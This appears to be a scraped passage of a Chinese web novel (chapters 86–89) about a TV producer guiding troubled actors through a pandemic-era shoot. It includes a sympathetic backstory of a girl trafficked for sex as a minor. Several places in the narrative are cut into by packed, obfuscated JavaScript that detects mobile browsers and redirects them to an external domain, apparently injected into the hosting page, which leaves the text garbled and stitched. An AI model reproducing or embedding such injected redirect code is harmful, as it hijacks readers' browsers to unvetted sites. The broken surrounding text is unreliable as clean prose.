杨树仍没联系上何攸之和他太太,恼得在房间里砸东西,又忍不住想抽烟,但不想成瘾,从冰箱里取出一瓶可乐,开窗大喝。夜风扑面而来,夹杂着雨丝,人生中难得有这样细雨潇潇的悠长假期,却并不适意。 何攸之的丑闻热度仍在延续,深夜,何太太出来发话:“抱歉占用了公共资源,对于何先生的所作所为,我很痛心,但是涉及到子女和公司等多方面,需要花时间解决清楚,尽可能平稳地过度到属于我和子女的新生活。” 何太太措辞不强烈,但离婚的意图很明显。到了这一步,只能切割了,大船已然沉下,她得带着儿女逃生,那也是何攸之的孩子,杨树相信这是夫妻俩共同的决定。 女性网民普遍支持何太太,比起那些选择隐忍和原谅的女明星,她们很激赏她的态度。杨树想起曾经和何太太见过的那一面,娱乐圈的情爱大多是梦一场,但青年相识,至今十几年,何攸之和太太深知彼此走过的路,肯定是有过真情的,可惜何太太当不起大众的盛赞,她组局为大佬们输送男孩子女孩子可是麻利得很。 按何攸之跟KR网站签的协议,出了这档子事,他得支付赔偿金,但被他浪费的那些人力物力和精力,是没法弥补了。杨树心里很堵,喝起闷酒。其实《红雨》已然很幸运,《我是这样把男朋友作没了》在灯光师遇难后一蹶不振,勉强继续拍了半个多月,上个月,剧组解散了。 自从杨树成为执行制片人,舒纹又和她联系上了,但她第一部导演作品就此付诸东流,下一部悬了,她愿意零片酬执导杨树做的项目。 杨树不知道何时启动新项目,KR网站几个自制剧工作室都得进一步压缩成本,广告商普遍没钱投资,也没钱继续投广告了。 平台购片的价格一再下调,带来连锁反应,一复工,从制作公司到艺人工作室,都在忙着缩减编制。长夜影视公司和明堂影业都在裁撤部门人员,很多人面临失业,虽然能拿N+1赔偿金,但举目四顾,前途茫茫。 在这个风雨飘摇的春天,杨树时感惶惑。她小时候看过的科幻故事里,2020年是异次元世界,但生逢斯世才知道,巨变是何等仓促地席卷一切。许多人默默无闻地来,默默无闻地走,可是卑微一世,仍想留下一点什么,她打开《红雨》剧本,全神贯注投入其中。 祁宁从北京赶来救场,杨树请来医护人员给他做核酸检测,单独隔离14天,先熟悉剧本和已拍素材。 唐问羽休假期间吃胖了点,复拍在即,她对饮食和运动都很精细,有天她跟杨树说俞小舟过于拼命,她很担心。 杨树去健身房,俞小舟为了保持臀型,每天睡前100个深蹲,而且不光不吃肉类和碳水,还不吃油盐酱醋,只吃清水煮青菜,杨树问:“盐也不吃?” 俞小舟说不能吃,为了保持身体的绝对纯净。她1米63,只有79斤,瘦得皮包骨头,杨树板起了脸:“你得吃胖点,不然……” 杨树没想出威胁的办法,但正戳俞小舟的死穴,脸刷一下全白了,泫然欲泣。杨树以为又是为情所困,有点烦躁,,俞小舟哭着说:“我一定好好演,求您别换掉我。” 杨树一愣,她把自己往死里逼,竟是在担心这个?这姑娘的演技是不行,灵性也不够,但一个拿过文艺电影最佳女主角奖项的人,竟如此气短,跟顾叮叮那种颐指气使的人截然不同,杨树动了恻隐之心:“老何不能不换,你放松点。” 俞小舟愣愣地看她,杨树温言道:“小厨房有鸡蛋牛奶,我让小五看着你吃。吃完东西,到天台晒晒太阳吧,抑郁的人不能老自己闷在洞里,要懂得向外界求救啊,想聊天随时找我。” 剪辑室里,唐问羽和钟鲁粤聊戏,杨树让钟鲁粤调整工作计划,复工后立刻拍俞小舟角色被弃前的戏份,跟她本人的状态像极了。 3月16日,《红雨》剧组正式复工,杨树让统筹重新排了通告单,先拍不超过20人在场的戏,这20人包括演员、导演和工作人员,除了演员一条条拍戏时间,其他时间都戴口罩。 剧组定期消毒、分餐就食等常规防疫措施均照常执行,杨树出于谨慎,一天只让拍5、6场戏,避免人员高度密集扎堆。俞小舟仍不灵光,但唐问羽和几个重要配角都比较闲,每个人都教她理解角色,钟鲁粤也多给她一点耐心,几乎像电影一样,拍得极其精细。 俞小舟被众人盯着,压力更大,每天放工后,她捧着剧本来回看,但用处不大。唐问羽担心她会把自己给逼疯了,喊她一起做直播卖货。 唐问羽把套房当直播间,卖各式各样她亲自用过的护肤品和工具,网上很多小艺人也在卖货,但唐问羽是二线明星,俞小舟问:“问羽姐,你不担心粉丝嫌Low吗?” 唐问羽的社交网页下面是有很多粉丝让她别凑热闹,保持格调,唐问羽嘻嘻哈哈:“不偷不抢,靠本事吃饭,Low什么。” 俞小舟没响应唐问羽的号召,但小五汇报,她终于好好吃东西了,中午吃了两片全麦面包,一碟小番茄。 杨树去健身房,又逮到俞小舟了,她仍在练功。一见到杨树,她急急地要解释,杨树摆手,负面情绪不用一味负隅顽抗,先试着和它们相处。俞小舟对吃东西有心理负担,那就练功吧,吃吃练练,总能吸收一些,好过以前只吃水煮青菜。 俞小舟很惭愧,对比起唐问羽,她是个不合格的演员,还是麻烦精,她明知林礼璋是怎样的人,仍放不下对他的爱,她恨他,更恨自己。 杨树打量着她,淡淡道:“你必须多吃点有营养的,把气色调一调。但压力也别太大,我和朋友有个小公司,可以给你一帧一帧地修,用的是自己员工,不多花钱。” 俞小舟破涕为笑:“杨总,您怎么对我这么好?” 杨树哄她几句:“你是女主角,你粉丝多,有流量。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屏幕上大多剧集只敢让女主角无伤大雅地出糗,但不敢让女主角出丑,《红雨》里的两个女主角则因为贪婪或软弱,忍受苟且婚姻,丢尽颜面。观众在看待她们的过程中,试图去理解世上存在跟自己想法不同的女人,杨树觉得这是做《红雨》最大的意义。俞小舟似懂非懂:“她挺没用的,也没种,这也行?” “怎么不行?人都有缺点。”以杨树对生活的观察,很多女人在婚姻里困顿萎谢,但怯于摆脱,这中间的犹豫和挣扎,都值得细致体现,《红雨》的两个女主角都是有痛感的角色,写好了演好了是很动人的。 俞小舟说:“可您看起来什么都扛得住。” 杨树说那都是表象,她一脑门子麻烦事,扛不动,硬扛罢了。 《北宋宫事》还在整改,《暗昼》刚送去审查,整改也少不了,《狼穴》可能会请人补拍,对何攸之实施换脸术。杨树揉揉头,她的头疼事很不少,对俞小舟坦言,她随时想骂人,想蹲在地上大哭,可还得成天在众人面前扮演扛得住的角色,她是制片人,不能动摇军心。俞小舟看着她,忽然哭了。 杨树没劝,最近以来,她也很想哭,可是哭一点用都没有。人生是孤岛,最痛苦时,谁都帮不了你,只能自己慢慢捱过去。 俞小舟哭了一阵,望着杨树,欲言又止,止又欲言,终于说:“我经历过她那样的事情。” 87. 第 87 章 杨树愣了愣,才反应过来,俞小舟说的是她演的角色。她当时只想演第一女主角,很大因素是她不敢去直面第二女主角。 杨树以为俞小舟被林礼璋暴力对待过,但俞小舟的身世比她想象的惨痛得多。第二女主角几乎是俞母的翻版,她困于绝望婚姻,终有一日奋起反抗,夺刀时失手杀了丈夫。 那时俞小舟才刚上小学,母亲被警察抓获,对罪行供认不讳。俞家出了这样的恶性事件,亲戚们都避之不及,俞小舟的弟弟当时4岁多,被叔叔送去了一户据说很有钱的人家。 俞小舟在爷爷奶奶家长大,老人务农为生,养她养得很吃力,俞小舟在学校很受歧视,同学都叫她杀人犯的女儿,集体孤立她。她跟杨树说,可能13岁的时候,她就抑郁了,时刻想死。 想再见妈妈一面的念头占了上风,俞小舟按下了自杀念头。但她不是个脑子聪明的人,妈妈出事之前不是,出事之后更不是,再怎么努力学习,成绩还是很差。 初一读完的暑假,有个女人来找俞小舟。按辈分,她算是远房表姐,俞小舟很小的时候见过她,依稀记得这个远房表姐当过文艺兵,还夸她是美人胚子,给她买过很多零食。 表姐这次回来,用进口巧克力和漂亮裙子带走了俞小舟。她说俞母被关在市里的拘留所,俞小舟应该去市里生活,等妈妈被判下来,就找机会去探监。 只要能跟妈妈见面,让俞小舟做什么她都愿意。但是表姐并没有如她在爷爷奶奶面前承诺的那样,给俞小舟报补习班,开学后让她去市里的小学借读。 那个暑假,表姐给俞小舟买了很多衣服和鞋子,俞小舟高兴得管她叫仙女。有一天,俞小舟独自在家睡觉,有人掏出钥匙进门,但不是表姐。她拼命反抗,奈何那是个壮硕的男人。 夜里,表姐抱着俞小舟痛哭,她说她做生意破产了,没钱为俞小舟打官司,她让俞小舟学会忍耐:“你学过卧薪尝胆这个成语吗?” 不同的男人来了。表姐说你乖乖的,我就带你去看妈妈。可是当年秋天,俞小舟听说妈妈被执行死刑,她没有妈妈了。表姐又陪她哭了一场,她说人都要活,小舟要替妈妈好好活下去。 俞小舟15岁那年,表姐喜气洋洋地告诉她,她找对了人,对方介绍俞小舟去演一部清宫剧的配角。 俞小舟看不懂剧本,她很害怕,不想演,表姐第一次扇了她耳光:“你不想以后再也不见那些男人,活得风风光吗?” 后来俞小舟见的男人更多,她终于明白表姐为什么削尖脑袋让她去拍戏——那样你才会更贵。 拍完清宫剧,俞小舟演了一部民国剧,仍是演配角。在那个剧组,她认识了一个同龄的美丽女孩,那一年,两人都不到15周岁。 女孩从不在剧组里住,每天拍完戏,必有一辆黑色的大车开来接她,第二天再准时送来。一次换戏服时,女孩没有避着俞小舟,俞小舟看见了她身上的红痕。那一刻,她痛彻心扉地懂得,她和她,是一样的人。 俞小舟抱住女孩哭了。几年后,女孩长开了,出落得更加美丽,所有见到她的人都惊为天人,追求者无数,但是控制女孩的那个男人人脉极深,追求者们都退却了。 绝色美人不会被埋没,她大红大紫,芳名无人不知,但每年俞小舟的生日,她从未忘记过,永远送来极其昂贵的礼物。 俞小舟从来没有很红过,但每次女孩接受采访,被问起谁是她的朋友,她都会说是俞小舟。俞小舟跟杨树说:“她对我说过,我是她惟一的朋友。” 女孩至今没能脱离那男人,而俞小舟脱离表姐,是在她22岁的时候。19岁时,俞小舟在网上偶然看到新闻,女人自我防卫,意外杀夫,被判了6年。这起案件跟妈妈的案子很像,她想办法去打听,妈妈竟然真的还活着,她获刑7年,还有3年就能出狱。 俞小舟在表姐的眼皮下拼命攒钱,为了不让表姐识破,她硬是忍着没去探监,花了3年时间铺路,在林礼璋公司的法务帮助下,她和表姐决裂。 怎能不爱林礼璋呢,他帮了她,他那样英俊,还有着磅礴的声名。商人们不会娶俞小舟,但林礼璋是同行,她总想,也许他能理解她身上所有的污秽事。 一个阳光万丈的下午,俞小舟接到了妈妈。但是7年的牢狱生涯逼疯了妈妈,据说刚被抓获没多久,她就精神失常了。她认不出女儿,但没关系,她永远是妈妈。 俞小舟请了两个保姆照顾妈妈,还打探到被送养的弟弟身在哪户人家。那家人不如叔叔当年吹嘘的那么有钱,只是工薪阶层,但养父母很疼爱孩子。 俞小舟说:“我演电影能被导演一个动作一个动作地教,一句台词一句台词地掰,我更喜欢拍电影,但拍剧才能让我多挣点钱。” 为了自己,为了妈妈和弟弟,她想多挣点钱。杨树看着她,眼圈红了。人心残忍,才让贫穷而美貌的小姑娘在人间遭此大难,若她不曾有这样一张比普通人美丽的脸,是不是就能幸免于难? 在公开的资料里,俞小舟的父母在她出生后就离婚了,父亲从没出现过,母亲病故后,她被寄养在亲戚家长大。出道后,她跟几个男演员炒过CP,在公众面前总笑得没心没肺,少有人知,往事如斯。 俞小舟得不到林礼璋的心,她觉得跟那些阴霾的过去有关,虽然是同行,但林礼璋是男人,男人是接受不了的,杨树说:“要这么说,他还离过婚呢。” 俞小舟嗫嚅道:“可是……” 杨树笑道:“没那么多可是,有情绪就用角色发泄出来,这就是做演员的好处。导演知道怎么拍你。而且还有配音演员,她的声音也能帮你塑造角色。” 俞小舟怔然看杨树,杨树让她保持跟心理医生聊天,专业人士更懂得为她纾解心结,但黑暗的过去不过是经历,都只是经历,她取出一支红酒,递给俞小舟:“睡前喝一点,别贪杯。” 俞小舟没接,当她得知自己被表姐骗了,她酗过酒,胖了20多斤,所有裤子都穿不上了,可是不想死,就得继续去赚钱。没人会让不红的胖子当主角,她狠心去健身,把赘肉都减掉了,杨树鼓了一下掌,把酒放回柜子里:“结果还拿了最佳女主角,了不起。” 俞小舟又怔然地看着杨树,她真实地为她红了眼眶,还夸她能干:“比很多人有名,还这么会赚钱,以后不要再让自己吃苦了,怎么样?” 俞小舟又笑得眼睛眯成一条缝,杨树打开红酒慢慢喝完,每一个破碎得摇摇欲坠,却重新站立的人,都很了不起,值得为之喝一杯。 祁宁演二少爷的时候,就请了一个台词老师,他请老师线上指导,为《红雨》里的角色在不同的语境下设计不同的发声方式。唐问羽每天下了戏就去蹭他的台词课,再跟他分别站在会议桌两端,隔上几米的距离,一句一句对台词,让杨树看得欣慰不已。他们都没能大红,但自醒和坚持会带领他们走向更远的地方。 剧组闷头赶进度,祁宁隔离期结束,投入到《红雨》的拍摄中。他演技不如唐问羽好,但人往那儿一站,稳了。唐问羽跟他对了几场戏,杨树和钟鲁粤相视一笑,这两人化学反应很强,男人很能被女人带起来。 有天唐问羽直播卖货,被钟鲁粤看到,找杨树商量改剧本。直播时,唐问羽从心所欲的感染力很强,钟鲁粤想把这种特质化用到《红雨》里。 《红雨》后半段有较大篇幅写到弃妇的“反攻”,按编剧赋予的人设,两个女主角分别是贪婪者从容,懦弱者暴怒,唐问羽的角色是前者,在糟烂婚姻里觉醒,走到人生开阔处,她对前夫再不理睬,挥挥手,告别过往。 自己过得幸福了,才是对对方最大的报复。这当然是时代女性的一种,但钟鲁粤认为“反攻”是一定要明明白白地写出来的,硬碰硬地迎头痛击。疫情期间,他琢磨得最多的便是修改这一块,生死在天,爱恨却能把握在自己手上,以血洗血,才是大自在。 编剧说:“角色做派是优雅女性,文明人。” 钟鲁粤说:“我们都生活在文明社会,但还是会有战争,会有争执。绝对的真理不辩自明,但婚姻上,人的情绪需要出口,这一块得写得钝重点,关键 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞小舟脑袋一缩,生硬地转了话头,大夸特夸唐问羽演技好,平时看着很随性,竟然能演这样的爆发戏。 剪辑室里,钟鲁粤跟配乐师一同看雨戏素材,各种机位各种特写,刻画出妻子的绝望和恨,她嘶吼着使出蛮力,完成心理上的杀夫,BGM作为强化氛围的手段,至关重要。 《暗昼》里的弑父戏跟这场异曲同工,奈何钟鲁粤实在教不会谢铠,他演得很平,钟鲁粤只能用后期多镜头强调,用平淡来体现压抑的绝望,配乐也是悲情绵长风格。在明堂影业做剪辑时,钟鲁粤不知多耿耿于怀,若是换个好演员,力度就出来了。 好演员唐问羽来了。泪落如雨,倾盆而下,展现了凶悍的爆发力,配乐师认为得上交响乐,各种嘈杂的声音,乱成一团,夹杂着电闪雷鸣,钟鲁粤让她再强化执鞋跟为利器的砸肉声,那是让观众解恨的砸在心上的声音。 配乐师屈起拳头,做了一个用锤子锲进木头的动作:“明白。” 唐问羽冲完澡来看素材,镜头里,她眼神狠鸷,把发狂之态演出了血气,俞小舟叹服地问:“问羽姐,你是怎么演出来的?” 唐问羽神气地说:“我是笑面虎嘛,不笑的时候就当老虎了。” 众人哄笑,俞小舟眨巴着眼睛,请她讲解,唐问羽说:“很多男人不都能这么狠吗?想象一下,衣冠禽兽看上了新欢,盘算着把你打发走,对你百般挑剔,还让你反省自己。你把你想成他,他的心有多硬,你就能演得有多狠。” 俞小舟没说话,走出剪辑室,她才跟杨树说:“他也一样,他跟别的女人传绯闻,我问他,他总怪我胡思乱想。我知道我没冤枉他,可他总是理直气壮反咬一口。”她说着说着,声音小了下去,“是我自己让自己不去信。听他的,比相信自己简单。” 爱和恨,都能成为一个人的精神支柱。杨树捏一捏俞小舟瘦削的肩,黄婕不让自己走出来,跟那赌鬼结了婚,她不知道俞小舟有没有救,但至少她肯多吃点东西,也愿意跟她和心理医生交流了。 88. 第 88 章 疫情会持续多久,谁也说不准,但它提供了新的洗牌可能,平台需要项目来补足排播,各种原因被积压的剧有了播出的机会,杀青后制作中的项目,也加快了进程。 《北宋宫事》在经历第7次送审,每次推倒重来,都让导演单明玉身心被扒了一层皮,但播出似乎遥遥无期,《暗昼》倒是匆忙上线了。 杨树又开了酒,自饮自乐。她在明堂影业的剪辑室一遍遍看过素材,但前两集仍是一眼不眨地看完,从弹幕来看,它是有后劲的。 夜里落了大雨,清晨醒来,打开窗户,远处山明水净,近处的木绣球花开似雪堆,压弯了枝头。大风一吹,花瓣纷飞,如大珠小珠落玉盘似的,香气似有还无,杨树陶醉地深嗅几口,这是江南最好的春天。 《暗昼》每周播4集,第一周播完,祁宁和谢铠有了CP粉,封号为“旗开得胜”,CP粉捕捉两人每场对手戏里每个细微表情,坚信他俩戏中有情,戏外也情根深种。 谢铠的首作上个月刚播出,角色是富二代,挥金如土,义薄云天,为他圈了很多粉。再激烈的戏,他都只能演得似哭似笑,但人设加了成。 《暗昼》美术造型给谢铠准备的装束以黑风衣和帽衫为主,尽量只强调轮廓,不拍到脸,但粉丝们总能从中发现性感之处,夸他演出了角色特有的冷和酷,称他为酷帅少年。当谢铠一笑,更是了不得,粉丝们用一切可爱的小动物代指他。 《暗昼》播到第二周,唐问羽客串的特警出场,CP粉四处骂人,骂片方为了过审才强加女性角色,骂唐问羽是一锅汤里的老鼠屎。 唐问羽不介意,但有点烦:“骂我的大部分是女孩,她们怎么那么爱男的。” 自从祁宁解散了后援会,关注者们言辞都平和得多,虽然不待见他和“老女人”恋爱,但大多都懂得劝上几句:“这是演戏,生活里都有女警察,戏里怎么不能有?而且我看角色之间好像没感情线诶。” CP粉们显然不这么想,女的妨碍他们磕CP,唐问羽被骂得关了评论。疫情期间不能出游,她从酒店大堂的多肉花盆里捡了几片叶子种上,如今长成了一朵朵莲花状,眉飞色舞发到网上跟人分享,底下却全是诅咒,糟心。 《红雨》片场,唐问羽和祁宁正对着戏,熊好好悄然转发一条消息给杨树看。唐问羽的黑历史又被人扒拉出来了,有人疯狂地圈了《暗昼》官方微博和祁宁及谢铠等演员,还质问剧组,这种以色事人的女人,何德何能出演人民警察。 杨树气得踢凳子,让唐问羽的助理赶紧联系人删帖,最好没收唐问羽的手机,不让她看到。演员的情绪很敏感,不能几次三番被人踩踏,尤其是最近这些天,《红雨》在拍杀夫前的内心戏,非常难演,唐问羽压力很大。 收工后,唐问羽伸手向助理要手机,助理撒谎说没电,刚充上,唐问羽没多想,跟俞小舟说:“想不想吃鳕鱼?我买到特别好的!” 俞小舟说不吃,杨树一个眼神压过去,她说好的,唐问羽笑着喊祁宁,但祁宁看出不对劲,对她说:“你们先走,我跟杨总谈点事。” 唐问羽的黑料太多,助理联系的人一时删不绝,杨树让祁宁多和唐问羽聊聊天,转移注意力。祁宁点头,突然说:“杨树,有时候你挺残忍的。” 杨树愣了一下,他以为她还在撮合?她摇摇头,大步走着,淡淡说:“让你教她打个台球,怎么你了。” 祁宁也一愣,忽地低头笑出声。酒店顶楼有一张台球桌,常年闲置,疫情期间太无聊,钟鲁粤把它翻出来,组里很多人都学会了,唐问羽也想学,一堆男人都愿意教她,但她说:“我要祁宁教我,他演过斯诺克高手,动作很标准,还性感。” 祁宁当时刚从北京来无锡,站得离她三米远:“你还演过警察里的高手,动作也标准,还性感,你看你打得赢我们哪个。” 唐问羽一个扫荡腿踢来,祁宁跑了,他是最晚进组的,台词又多又复杂,得多背几遍,再跟远在北京的台词老师多碰碰。除了《天作之合》和少数几部,他实在抽不出时间去配音的戏,他演的角色,想尽量用自己的声音。 助理开车,祁宁在后座睡着了。杨树坐在副驾搜索唐问羽的黑料,大部分都删掉了,但最新一条顶到了首页,是唐问羽和她曾经的金主合照,有几个一看就是宁粉的人在下面留言,还圈了祁宁:“宁宁,你想想他们睡一起的样子,你还要她吗?” 车停在酒店门口,祁宁醒了,手机上,他的私信被塞炸了,随手一点开,就是那张合照,以及一大段极下流的辱骂。他沉默了一瞬,把手机扔在后座上,拉开车门。 杨树疑心是错觉,但也许不是,她看到他眼中似有泪光,语气里有怒意:“他们就是想让我睁大眼睛看清楚,她是什么货色。呵,我又能是个什么货色。” 他的语气饱含强烈的自厌,杨树本能喝止:“祁宁!” 祁宁抬眼看她,她说:“都过去了。” 祁宁欠身,脑袋凑近,杨树拍了拍:“不要老想着。” 祁宁目光直直地看着她,脸上现出光彩,然后说:“好,听你的。” 小厨房里,杨树吃着唐问羽留给她那份鳕鱼沙拉,俞小舟怏怏不乐地走进来:“我好羡慕问羽姐。” 杨树刷开网页,祁宁把一幅漫画发上网络:“跟问羽老师对戏学到了很多,希望能早点赶上她。” 漫画是祁宁找大小猫公司那两个住在组里的员工帮忙画的,画面是唐问羽和他在《暗昼》里的Q版形象,两人一前一后,各自开着警摩,追击前方的匪徒。 俞小舟羡慕不已:“问羽姐被人黑,祁宁跳出来为她说话。可他总是批评我,教育我,我们之间没这样的时候。” 装腔作势大道理一套一套的男人,杨树见多了,他们出门见着漂亮小女孩子,照样出乖卖丑,只有俞小舟这样没自信的人,才能被林礼璋吃定。 祁宁这条微博自然又引来多番猜测,他待唐问羽如此不同,也许真如传闻那样,在谈一段地下恋情。《红雨》是他们第三次合作了,处得这么熟,还喊她老师,谁不知道影视圈里很多人把家里那口子称为某老师啊。 也有人认为祁宁在暗示自己正在追求唐问羽,不然为何说“赶上她”,追赶的赶。但更多宁粉否认了:“我们宁宁性格被动,怎么可能追谁。” 俞小舟说:“其实祁宁没必要这么做,私下多开导开导问羽姐就行,发到网上,又得掉粉了,粉变成黑特别可怕。” 杨树说:“他连后援会都解散了,该掉的粉早都掉完了,留下的没那么极端吧?” 俞小舟说那是祁宁一厢情愿,留下的是出于惯性才没走的,但祁宁跟唐问羽捆绑太深对他没好处,他手上4部待播剧,存在爆红的可能,资本需要他的演技,但也需要他的热度,捆绑得太深的话,路人说起他,只会说他“找了大5岁多的女人”。 杨树看着俞小舟,很为她难过。这些说辞,一定是在为林礼璋伤心时,自己拼了命总结出来的,惟有如此,她才能接受跟男人发生了最亲密的关系,仍不被他当成恋人吧。 俞小舟扬起手机,给杨树看最新几条评论:“你看,粉丝说,祁宁想走演员路线,他们就当他的事业粉,这个一点问题都没有,但不能跟唐问羽谈恋爱,不然事业粉就都跑光了,还说祝他一糊到底。” 杨树笑了:“刚才你还说手上4部待播剧,存在爆红的可能呢,哪有那么好糊的,不信你去问他,他有那么害怕糊吗?” 俞小舟蹬蹬蹬,真跑去问。杨树哭笑不得跟在她身后,像祁宁这样一个不是非男一号不演的人,敢解散后援会,自然是想靠作品说话。依她看,不红但一直有戏演,是演员理想的生活,有时候流量太高了,看着很风光,一旦翻车生不如死。 大会议室里欢声笑语,唐问羽在玩手绘板,俞小舟劈头问:“祁宁,你一点都不宠粉,你不怕糊了吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091494|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祁宁笑道:“宠啊,你看我拍了这么多戏,他们每年都能看几个。” 俞小舟说:“你还真不怕糊啊?” 祁宁挺想得开,他说网上有个词叫糊作非为,那简直是一种境界,粉丝总以为糊掉是惩罚,但一个不缺工作机会的人,还能赚比普通人多得多的钱,糊也有糊的自在,他冲着俞小舟拍了拍口罩:“我戴个口罩就能出门了,换个流量试试?一堆相机和手机怼到脸上拍他。” 杨树扬眉:“心态越来越好了。” 唐问羽充满嫉妒地说:“老北京男一号等着他呢,他还敢心态不好?我下一部戏都还没着落呢,女十八号我也演。” 众人都笑起来,唐问羽的助理看到她笑得比谁都响,这才放心了些,递上手机:“姐,你回微信吧,阿姨找你。” 手机到手,唐问羽点开网页搜索自己的名字:“我就知道你们有事瞒我。” 助理伸头一看,唐问羽没能搜出特别糟的信息,她脸上一喜,下一秒就被唐问羽骂了:“又乱花钱,有病啊,花了多少钱?” 助理小心翼翼地在自己手机上按了一个数字,唐问羽气得站起来:“都跟你说了,让他们黑去,哪个艺人没被黑过啊。” 助理说:“可是赵哥说……” 唐问羽抓起手机就找经纪人:“我跟他说!那些事,我是做了,做都做了,自己还不敢看?我赚钱容易吗!以后不准再这么花我的钱!” 俞小舟惊呆了,杨树拽着她出门,祁宁和大小猫两个员工也出来了,俞小舟压低声说:“其实问羽姐团队也是为了她好,黑料不压不行。” 杨树说:“怎么不行啊,她黑料再多,钱总、姚总还有我,一样找她演戏。” 祁宁回头看大会议室,唐问羽一边把腿翘上会议桌压着,一边凶巴巴地跟经纪人聊着电话,他笑着跟俞小舟说:“她才是真正的心态好。” 杨树心想唐问羽何止是心态好,她何其动人。前年初夏在甘肃,她戴着大檐帽,坐在田埂上跟农人甩扑克,笑得如同乱花迷人眼,那么生机勃勃,完全不像受过伤的样子。再痛苦的经历,都是会过去的,一定会过去的。 《暗昼》播完八集,热度很不错,但争番位又开始了。开饭们都觉得谢铠是一番,警匪故事里,匪才是掌握了主动权的那个人,警一直在被动地寻找,观众的看点也全在匪徒怎么犯罪和脱罪上。 祁宁的观众朋友们有一部分人跟开饭们互掐,更多人都呼吁:“跟他们打上一千字辩论,不如写剧评,剧评才是正向宣传。” 祁宁想多看点观众反馈,但营销号下面,几乎全是开饭用固定的几套模板控评:“哥哥演的第一个男主就演得这么好,实力过硬,未来可期。” 同样是这一撮人,如果哪天谢铠被曝出恋情,他们一定会振振有词:“演戏不行,跳舞也就那样,还不是靠我们为他奋战!” 祁宁的观众朋友们纷纷写剧评,助理给他收罗路人评价,祁宁一场一场自我检讨,这一集哪里不好,这一集怎么改进。钟鲁粤也带着感悟去拍《红雨》,《暗昼》里犯过的错误,《红雨》不能再犯。 《暗昼》区区12集,三周就播完,在小范围内火了一把,被誉为小众高分剧,制片主任杨树收获各路亲朋好友的贺电。她不敢自满,但肯定自己仍是有必要的,她想成功在于《暗昼》定位很清楚,它是刑侦剧,就立志做成一部优秀的刑侦剧,没钱做服道化,也没分到多少营销费用,就好好立人物讲故事,事实证明,观众是认的。 《暗昼》成绩超出KR网站副总裁心理预期,也有遗憾,这戏以扎实的情节和复杂的人物塑造见长,但主演用了谢铠,失策了。开饭里有大量耽美爱好者,到处吆喝,让潜在观众以为这是部耽美向的故事,见之绕路,不然能播得更好点。 姚澈跟杨树聊了聊,下次再有《暗昼》这种质量的剧本,死磕也得磕实力派,对剧集的质量和传播才大有裨益。 89. 第 89 章 《红雨》杀青之前,前男主角何攸之再次成为娱乐新闻热点。他惹怒的商会副会长王尧成不再投资他和太太的夫妻店,公司投拍的剧也因利益分配问题,被电视台和视频网站双双告上法庭。 王尧成釜底抽薪,让何攸之和太太在多家银行都无法再贷款,星源经纪公司现金流断裂。何攸之是法人代表,深陷多起诉讼案件中,他太太也因向海外转移资产被拘留,夫妇的房产和藏品都被送上拍卖场,筹款以求轻判。但非常时期,有钱人也居安思危,藏品大量流拍,这对夫妇四面楚歌。 5月中旬,《红雨》杀青。制片组遵循不聚集的宗旨,只举办了简单的冷餐会。告别前,俞小舟给杨树送了礼物,向她保证会努力戒断林礼璋:“我的角色又穷又苦,还能反攻,我本人太不勇敢了,我会改。” 杨树笑道:“人拧着性子是很受罪的,如果不勇敢能让自己自在,就不用改,先混着。如果太痛苦了,就和心理医生一起想办法。” 找俞小舟演的都是甜宠型的小网剧,她没接,中小型项目风险大,她想先治好自己。曾经以为能掩耳盗铃,但铃铛不愿意,她想放弃林礼璋了。杨树不确定她能做到,但他日相见,这姑娘的精神状态也许能好一点,心理医生说她很愿意交流了。 唐问羽每到一个拍摄地,必然会把角角落落的美食都摸熟,离开无锡前夕,她找了一间馆子,请杨树和祁宁吃鳜鱼汤和河虾。汤鲜羹美,祁宁被她逼得喝了一整碗,杨树瞧着他俩,以他们的外在和演技,不红简直天理难容,但确实没怎么红,都只算二线。 多少有才华的人就缺一个机会,偏偏就是缺了。但这两人看起来都接受了事实,求不得才是常态,幸好演技派的艺术生命很长,谁知哪天时来运转,盛名在世间流传呢? 这一别之后,再相见也许是在悬疑言情剧《星空与深海》的开机仪式上。这部戏是姚澈工作室的项目,本来姚澈邀请祁宁和唐问羽再组情侣档,两人的CP感实在是好,但唐问羽拒绝了,她已有几个项目在谈,去年就签定的古装剧,今年下半年可能也会开机。 祁宁接受了姚澈的邀约,先前接的老北京生活剧拟定于下个月开机,拍完他就拍《星空与深海》。唐问羽拿到一个女性群像剧的女一号,不出意外,6月也要进组了,拍生活题材,还得找她这种演技有保障的。 姚澈工作室有多部项目都在筹备,但疫情冲击,实体经济受到严重影响,项目招商形势很严峻,投资费用也砍了又砍,她只能先保住《不惑之年》和《星空与深海》等重点项目。 《星空与深海》是方雯原创的剧本,去年写完《暗昼》,她推了几个委托创作项目,专心写自己想写的故事。 《星空与深海》男主角是天文学家,女主角是沉船打捞队队员,剧情走悬疑路线,主线是两人时空穿梭冒险的故事。方雯写完前5集就想找合作方,但国内的机制,是让编剧完成老板想要的故事、导演想要的故事、演员想要的故事,各环节都不屑照着拍编剧写出的故事,她干脆写完全部24集剧本,这样被干涉的可能性会少一点。 